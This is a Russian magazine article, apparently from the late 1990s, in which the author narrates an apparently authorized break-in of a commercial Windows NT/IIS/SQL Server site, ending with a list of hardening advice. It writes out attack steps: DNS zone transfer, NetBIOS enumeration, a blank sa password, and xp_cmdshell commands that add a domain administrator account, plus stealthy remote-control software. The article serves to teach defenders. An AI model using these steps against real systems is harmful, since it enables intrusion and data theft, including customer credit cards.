Как мне пришлось стать хакером
Андрей Крючков
От редактора: Услышав эту историю в устном изложении ее автора на фестивале
Microsoft DevCon, я вначале не очень-то поверил в нее уж очень она походила
на охотничий рассказ». Тогда я попросил автора подвести под нее теоретическую
платформу. И вот что получилось... (К.А.)
От автора: Данная история будет интересна прежде всего администраторам
сетей, построенных на базе Windows NT Server. То, что здесь описано, могло произойти
только из-за полной безалаберности и некомпетентности персонала, администрирующего
локальную сеть. Windows NT Server надежная и достаточно защищенная платформа
для Internet и других применений, но главное все-таки грамотная настройка, а
не степень защиты конкретной ОС. Данный пример показывает, до какого состояния
можно довести очень неплохо защищенную систему, если она попадает в руки безграмотного
человека. Надеюсь, что, прочитав статью, вы обезопасите себя от описанных в
ней неприятностей. Я постарался заменить все реальные имена на выдуманные, чтобы
не создавать проблем с массированной атакой оригинального хоста (если домен
server.com и существует, то он никак не связан с описанными событиями). Также
я заменил два первых октета во всех IP-адресах на нереальное значение 555 почему
бы и нет? Во всех американских фильмах телефонные номера начинаются именно с
этих цифр.
Все началось весной 1997 года, в тот момент, когда мы заканчивали бетатестирование
специализированного пакета для работы Internet-провайдера, одним из компонентов
которого была система создания зеркал Web-серверов. Поскольку это был единственный
компонент, который не был протестирован к тому моменту, мы решили загрузить
его какой-нибудь сложной задачей. Для реализации стресс-теста решено было сделать
«зеркало» большого сайта, находящегося на другом конце света.
Проведя необходимые настройки программы и запустив процесс создания зеркала
на выполнение, я принялся бродить по этому серверу и буквально сразу понял,
что если его администратор о чем-либо и думал, то только не о безопасности.
Первый же удар показал, что не установлены необходимые заплатки для Internet
Information Server и Windows NT Server, а скрипты и CGI-программы находились
в каталоге, предоставляющем не только право на исполнение, но и право на чтение,
— иными словами, не были выполнены элементарные правила, о которых предупреждает
Microsoft.
Итак, я добавил точку к URL: http://www.server.com/mainscript.idc Увиденное
потрясло меня до глубины души.
Даже ошибка сервера не могла привести к появлению данного результата, если бы
Web-мастер правильно (согласно рекомендациям Microsoft) настроил права для каталога
со скриптами. Мне было бы отказано в доступе и все.
Ну а если бы администратор хоть иногда обращал внимание на новости, связанные
с Windows NT, он установил бы специальную заплатку для IIS 3.0, которая помогла
бы вовсе избежать проблем: я увидел бы сообщение «HTTP 1.0 Object Not Found».
И все же главная проблема администратора заключалась в том, что я смог без труда
узнать пароль пользователя sa, то есть администратора Microsoft SQL Server.
Если бы в системе была установлена интегрированная система безопасности, поля
username и password игнорировались бы. Но это был именно администратор базы
данных с пустым паролем. Ну кто заставил его выполнять все скрипты с доступом
в базу данных от имени sa?! Я уже не говорю о том, что он не сменил пароль сразу
после установки SQL Server. Тогда я решил помочь нерадивому и отправил ему сообщение
с кратким изложением сути проблемы, а короче говоря, сообщил об отсутствии безопасности
как таковой. (Для справки - дальнейшая проверка показала, что данный сайт, во-первых,
является коммерческим, а во-вторых, пользуется определенной популярностью -
на описанный момент в его базе данных было зарегистрировано 74 342 номера кредитных
карточек.) Вот что он ответил:
Dear Andrey, Thanks for your remark. We are aware of the problem. We have installed the patch, but the result was that none could access any of out idc's. However, I don't think this is a potential security risk as you can't place a self made .IDC on our /script directory - or if you have any ideas about how it can be made, please let me know and I'll urgently make our /script directory read only.
Ответ меня сильно разочаровал. Администратор не видел проблемы и не понимал, что открытый пароль sa может привести к непоправимым последствиям. Я пытался ему объяснить, что он не прав, но вскоре понял, что словами здесь не поможешь... И тогда я запросил разрешение на эксперимент со «взломом» его сервера.
> I hope that from now you site much more secure than it was in past, but I > will try... That's a deal! We'll send you a nice package to compensate you for your work. We are not using any fire walls, so go ahead (but please be careful with our data ;-)). Kind regards, admin
Никогда не разговаривайте с неизвестными!» Кто его тянул за язык? Сам факт отсутствия простейшего брандмауэра говорит о многом! Первым делом я запустил простую программу под названием nslookup для просмотра зоны DNS, в которой находится его сервер (данная программа входит в состав Windows NT Server, практически все варианты UNIX также имеют эту и другие утилиты для проверки работы DNS.
C:\nslookup Default Server: myserver.quarta.com Address: 555.555.120.5 > set type=any > server.com. Server: myserver.quarta.com Address: 555.555.120.5 Non-authoritative answer: server.com nameserver = priny.server.com server.com nameserver = nic.server.com server.com nameserver = pluto.server.com Authoritative answers can be found from: server.com nameserver = priny.server.com server.com nameserver = nic.server.com server.com nameserver = pluto.server.com priny.server.com internet address = 555.555.200.1 nic.server.com internet address = 555.555.200.1 pluto.server.com internet address = 555.555.200.3 > server priny.server.com. Default Server: priny.server.com Address: 555.555.200.1
Теперь получим сведения о зоне и почтовом сервере:
>server.com. Server: priny.server.com Address: 555.555.200.1 server.com internet address = 555.555.200.2 server.com nameserver = nic.server.com server.com nameserver = PRINY.server.com server.com nameserver = pluto.server.com server.com origin = PRINY.server.com mail addr = administrator.server.com serial = 19 refresh = 10800 (3 hours) retry = 7200 (2 hours) expire = 86400 (1 day) minimum ttl = 3600 (1 hour) server.com preference = 10, mail exchanger = faun.server.com nic.server.com internet address = 555.555.200.1 PRINY.server.com internet address = 555.555.200.1 pluto.server.com internet address = 555.555.200.3 faun.server.com internet address = 555.555.200.17
А может, там найдутся и другие компьютеры, которые могут представлять для нас интерес? Команда ls является сокращением от list:
>ls server.com. [priny.server.com] server.com. 555.555.200.2 server.com. server = nic.server.com server.com. server = PRINY.server.com server.com. server = pluto.server.com faun 555.555.200.17 gold 555.555.200.22 www.ie 555.555.200.11 jersild 555.555.200.25 nic 555.555.200.1 nic2 555.555.200.3 parasit3 555.555.200.20 pluto 555.555.200.3 www.press 555.555.200.30 PRINY 555.555.200.1 www 555.555.200.2 >
Простейшие настройки DNS-сервера (трансфер зон только для доверяемых хостов)
не позволили бы так просто просмотреть список машин в домене. А как вам нравится
то, что в одной сети находятся Web- сервер, сервер DNS, почтовый Exchange Server
и все остальное: прочие машины, рабочие станции, тестовые серверы, машины программистов?
Никогда не позволяйте так просто просматривать свой DNS: для хакера достаточно
лишь незначительной информации для анализа и попытки проникновения в систему!
Чем меньше такой информации он сможет получить, тем сложнее ему будет проникнуть
в вашу систему.
Мне не очень повезло, улов не такой большой, но это лучше, чем ничего.
Идем дальше - проверим, отключил ли он NetBT?1
C:\>nbtstat -A 555.555.200.1 Host not found. C:\>nbtstat -A 555.555.200.2 Host not found. C:\>
Неужели он умнее, чем я думал? Ладно, проверю всю его сеть, может, обнаружу что-нибудь еще?
C:\>nbtstat -A 555.555.200.16 NetBIOS Remote Machine Name Table Name Type Status ——————————————————————- PLUTO <00> UNIQUE Registered EEG1 <00> GROUP Registered PLUTO <20> UNIQUE Registered EEG1 <1E> GROUP Registered INet~Services <1C> GROUP Registered IS~PLUTO.......<00> UNIQUE Registered MAC Address = 00-00-FF-34-D4-xx C:\> nbtstat -A 555.555.200.22 NetBIOS Remote Machine Name Table Name Type Status ——————————————————————- GOLD <00> UNIQUE Registered GOLD <20> UNIQUE Registered EEG1 <00> GROUP Registered EEG1 <1C> UNIQUE Registered EEG1 <1B> UNIQUE Registered EEG1 <1E> GROUP Registered GOLD <03> UNIQUE Registered ADMINISTRATOR <03> UNIQUE Registered EEG1 <1D> UNIQUE Registered __MSBROWSE__ <01> UNIQUE Registered INet~Services <1C> GROUP Registered IS~GOLD .......<00> UNIQUE Registered MAC Address = 00-00-00-3B-xx-xx C:\>
Прекрасно — одна машина является обычным сервером в домене EEG1, а вторая — либо PDC, либо BDC 2 , да еще и администратор зашел на компьютер с консоли. Попробуем подключиться к серверу \\pluto:
Start ? Run и \\pluto.server.comПолучилось !
Во всех учебниках по Windows NT написано — выключите пользователя Guest! Подключиться к офисному принтеру моего оппонента было делом одной минуты; еще спустя минуту принтер распечатал короткое послание о том, что я приступил к работе и не надо волноваться — все наши договоренности в силе.
Покончив с базовым исследованием сети, я написал ему достаточно развернутый отчет о проделанной работе, перечислил все машины, на которых открыт Guest, порекомендовал ему переименовать пользователя Administrator и дал еще несколько рекомендаций. Через пару дней я получил письмо, в котором администратор испытуемого сервера признавался в отсутствии хорошо поставленной системной политики безопасности и пообещал выслать заработанный приз в ближайшие дни.
Я уже начал постепенно забывать об этом случае, как вдруг получил от него тревожное письмо: он просил продолжить обнаружение дыр в его защите, уделив при этом особое внимание поиску возможностей входа в базу данных Microsoft SQL Server пользователей его сайта. Как вы понимаете, информация такого рода немало стоит для его конкурентов, и он опасался за ее сохранность в случае серьезной хакерской атаки.
Достаточно быстро я удостоверился в том, что пароль sa не был изменен (уже четыре дня администратор знает о дырке и все еще не удосужился ее закрыть!). Дело оставалось за малым — войти в базу SQL Server как sa (или хотя бы как guest).
С прошлого сеанса у меня сохранились записи и список всех серверов в его сети. Пришлось записать их все в файл LMHOST:
555.555.200.5 priny #PRE 555.555.200.16 pluto #PRE ... 555.555.200.23 insernia #PRE #DOM:eeg1
дать команду «nbtstat –R», которая перегружает кэш NetBT, и начать искать машину, на которой стоит MS SQL Server. Я прошелся по всем машинам, где был разрешен Guest, но ни на одной не был установлен MS SQL Server. Похоже, что он установлен на PDC или BDC, а там Guest выключен по умолчанию. Что же делать? Нужен вход, любой вход, только бы «подцепиться» к серверу с SQL Server. Что ж, придется еще немного подумать. Посмотрим, что еще есть на тех серверах, куда пускают пользователей Guest... Ага, в одном из каталогов лежит файл drwtsn32.log (этот файл создается при сбоях программ). Для большинства пользователей он бесполезен, но знающий человек порой может кое-что из него извлечь. Ну, кто что увидел? А я вижу имя домена, имя пользователя и, скорее всего, пароль для входа в эту систему. Проверим: подсоединяемся к серверу, куда прежде мы не могли войти под именем Guest, пробуем имя EEG1\HCAPSUser1 и пароль grk***. Вот мы и в сети, пора пробовать MS SQL Server Enterprise Manager. Зарегистрировались? Успешно! Что ж, вот я и администратор — правда, не домена, а только базы данных, но всему свое время. Посмотрим базу его пользователей 3 .
select * from tblMemberТак — имена, адреса, пароли, номера кредитных карточек... А ведь кто-то выдумывает системы криптозащиты, спорит о длине ключа... Все, что я только что проделал, является следствием грубейших нарушений администратора данного компьютера. Машина, на которой установлен SQL Server, должна быть защищена брандмауэром или хотя бы работать по протоколу, недоступному из Internet, например по немаршрутизируемому NetBEUI. Ладно, доведем проверку системы безопасности до ее логического конца.
xp_cmdshell ‘net user Andrey mypassword /add /domain’Отныне в домене EEG1 есть пользователь Andrey с паролем mypassword. Теперь пора сделать его администратором: xp_cmdshell ‘net group «Domain Admins» Andrey /add /domain’ Вот я и администратор домена. Могу сделать очень многое — к примеру, «подцепиться» к любому накопителю в системе:
Start ? Run и \\priny\c$Так вот он, Web-сервер и его исходные файлы! Ну что же, положим маленький файл hack.htm в корневой каталог Web-сервера. Ничего бы этого не случилось, если бы администратор:
* отключил бы хранимую процедуру xp_cmdshell и аналогичные; * запустил MS SQL Server в работу под именем специального пользователя с ограниченными полномочиями; * сменил (установил) бы пароль у sa; * установил MS SQL сервер на машине, которую не «видно» из Internet; * не занимался отладкой собственного ПО на машинах, видимых из Internet; * не запускал бы скрипты от имени sa; * не установил бы NMA на компьютер, доступный из Internet; * отключил бы на всех серверах пользователя Guest; * правильно настроил права в каталогах для скриптов на Web-сервере; * устанавливал вовремя необходимые «заплатки», выпускаемые Microsoft; * хоть немного задумывался о безопасности.
Как вы, наверное, уже поняли, я получил полную власть в домене EEG1. Трудно только без консоли управления нравится мне видеть экран другого компьютера.
К сожалению (а может, и к счастью), в Windows NT нет сервера Telnet, поэтому просто так подключиться к консоли нельзя даже в текстовом режиме. Но выход есть — RemotellyPossible/32, моя любимая программа для удаленного управления компьютером. Она имеет массу возможностей, в том числе возможность удаленной установки и абсолютную прозрачность для того, на чей компьютер я ее установил. На экране нет никаких сведений о том, что я его вижу, — это удобно для руководителя подразделения, который хочет знать, чем заняты его сотрудники. Данная программа работает исключительно быстро, и с сервером на другом краю света можно работать с нормальным временем реакции — иногда просто не замечаешь, что это другая машина.
Теперь я могу делать с ней практически все.
1) NetBT - NetBIOS over TCP/IP - позволяет работать с программами, использующими NetBIOS, поверх протокола TCP\IP. Для машин, подключенных к Internet, Microsoft рекомендует отключить данный сервис. Так, на всякий случай...
2) PDC - Primary Domain Controller и BDC - Backup Domain Controller - серверы, которые занимаются авторизацией пользователей и хранят каталоги пользователей.
3) Microsoft SQL Server - уникальная программа. При ее помощи чрезвычайно удобно просматривать объекты базы данных, особенно когда вы стали ее администратором. Да и название таблицы весьма информативно...